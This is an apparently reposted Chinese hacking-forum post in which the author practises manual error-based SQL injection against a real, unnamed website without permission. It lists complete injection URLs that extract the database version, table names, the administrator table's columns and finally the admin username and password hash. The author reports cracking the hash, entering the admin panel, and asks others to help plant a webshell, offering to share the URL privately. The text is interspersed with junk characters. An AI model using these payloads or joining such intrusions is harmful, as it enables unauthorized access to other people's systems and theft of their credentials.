近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。
. R1 Q1 c, {: d0 j% S- r' f首先找到网站后台,加了个admin,后台出来了 ! c- ]# M% V- s3 d5 z- S' {
3 Y( Q, g& P3 y) y
( k7 z" g: c: p* v5 p
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入
- C9 v" \+ x7 E) {http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
) @/ ]- _9 q$ b! K4 H% @1 F
6 H7 s6 N; N4 I* q% @) l2 `* ^) r' V! p
# b# W! n% q/ E; [! u
7 a1 ~$ @3 s! r( R2 zhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg- U4 l6 R4 {1 B2 @$ z
[0 k+ U0 F- e1 u, l% I, I
- N0 a! a. q, p) L9 [# U; m C1 g: `- G0 W- j* c; S
8 n5 O( w8 i7 ~1 ~/ }! Q+ w6 B7 ^
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator# t; i* c' R+ e5 w3 y! D' L" i2 u
9 T7 w. j8 t* Z$ ^; H
; L g5 ^) @! P; F* P8 g0 p0 ]- whttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
$ w% a% S+ W" [' f; n! d
! j( s. J+ \+ u/ L! k1 z7 J- F# E' n: Z
查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--
5 f. i( x" c' X1 p2 C0 ^
+ w4 s3 K ]2 |2 O& ]* Y% x/ B8 g* Q5 b a# }, F
' F- k! D# N; G: D/ Q! c9 S8 E+ A 得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
1 K1 |) f8 q4 L; L% J' s4 v# s/ s8 Z+ ?- }7 D L1 ]
( ?# f7 `) e" K0 l1 C* D$ D) ?( [6 N* W' x; e; l, H
得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |